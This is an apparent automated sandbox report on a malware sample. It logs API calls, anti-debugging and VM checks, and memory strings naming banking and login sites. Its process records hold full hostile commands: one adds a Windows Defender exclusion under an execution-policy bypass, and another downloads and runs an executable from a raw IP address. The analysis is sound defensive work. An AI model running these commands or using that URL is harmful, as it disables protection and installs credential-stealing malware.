Source: C:\Windows\Temp\Launcher.exe TID: 6380	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6104	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7380	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7404	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A72B500 FindClose,FindFirstFileExW,GetLastError,		10_2_00007FF75A72B500
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A72B5B0 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,		10_2_00007FF75A72B5B0

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A6F73F0 GetLogicalDriveStringsW,_invalid_parameter_noinfo_noreturn,

10_2_00007FF75A6F73F0

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A709038 VirtualQuery,GetSystemInfo,VirtualAlloc,VirtualProtect,

10_2_00007FF75A709038

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\migration\	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\replacementmanifests\	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\migration\wtr\	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\replacementmanifests\hwvid-migration-2\	Jump to behavior

Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Launcher.exe, 00000003.00000002.2238182922.0000000002D3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: xdnfl52f.civ.exe, 0000000A.00000003.2258576936.000001D9D073F000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000002.2481667532.000001D9D072E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: xdnfl52f.civ.exe, 0000000A.00000003.2258576936.000001D9D073F000.00000004.00000020.00020000.00000000.sdmp, xdnfl52f.civ.exe, 0000000A.00000002.2481667532.000001D9D072E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: powershell.exe, 00000000.00000002.2138728163.00000219AF777000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllD
Source: xdnfl52f.civ.exe, 0000000A.00000003.2268295113.000001D9D26DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\Temp\xdnfl52f.civ.exe

API call chain: ExitProcess graph end node

graph_10-69011

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A6FA430 RtlAcquirePebLock,NtAllocateVirtualMemory,lstrcpyW,lstrcatW,NtAllocateVirtualMemory,lstrcpyW,RtlInitUnicodeString,RtlInitUnicodeString,LdrEnumerateLoadedModules,RtlReleasePebLock,_invalid_parameter_noinfo_noreturn,CoInitializeEx,lstrcpyW,lstrcatW,CoGetObject,lstrcpyW,lstrcatW,CoGetObject,CoUninitialize,

10_2_00007FF75A6FA430

Source: C:\Windows\Temp\Launcher.exe

Code function: 3_2_0067FE37 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_0067FE37

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A72D804 GetLastError,IsDebuggerPresent,OutputDebugStringW,

10_2_00007FF75A72D804

Source: C:\Windows\Temp\Launcher.exe

3_2_0066B905

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A719EEC GetProcessHeap,

10_2_00007FF75A719EEC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Temp\Launcher.exe	Code function: 3_2_0067FAC0 SetUnhandledExceptionFilter,	3_2_0067FAC0
Source: C:\Windows\Temp\Launcher.exe	Code function: 3_2_0067F4CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0067F4CC
Source: C:\Windows\Temp\Launcher.exe	Code function: 3_2_0067FE37 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0067FE37
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A71EC08 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00007FF75A71EC08
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A707F68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00007FF75A707F68
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A71F498 SetUnhandledExceptionFilter,	10_2_00007FF75A71F498
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A71F2B8 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00007FF75A71F2B8

Source: C:\Windows\Temp\Launcher.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"			Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\Temp\Launcher.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A6EB420 ShellExecuteW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

10_2_00007FF75A6EB420

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Temp\Launcher.exe "C:\Windows\Temp\Launcher.exe"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\Temp\xdnfl52f.civ.exe "C:\Windows\Temp\xdnfl52f.civ.exe"	Jump to behavior

Source: C:\Windows\Temp\Launcher.exe

Code function: 3_2_0067C76C SetSecurityDescriptorDacl,GetLastError,

3_2_0067C76C

Source: C:\Windows\Temp\Launcher.exe

Code function: 3_2_0067DA20 GetCurrentProcess,OpenProcessToken,malloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,free,CloseHandle,

3_2_0067DA20

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A71DF10 cpuid

10_2_00007FF75A71DF10

Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	10_2_00007FF75A718C04
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: EnumSystemLocalesW,	10_2_00007FF75A70DAE0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: EnumSystemLocalesW,	10_2_00007FF75A718F60
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	10_2_00007FF75A7190C8
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: GetLocaleInfoW,	10_2_00007FF75A70E020
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: EnumSystemLocalesW,	10_2_00007FF75A719030
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	10_2_00007FF75A719468
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: GetLocaleInfoEx,FormatMessageA,	10_2_00007FF75A72B170
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: GetLocaleInfoW,	10_2_00007FF75A719310
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: GetLocaleInfoW,	10_2_00007FF75A719518
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	10_2_00007FF75A71964C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Queries volume information: C:\Windows\Temp\iviewers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
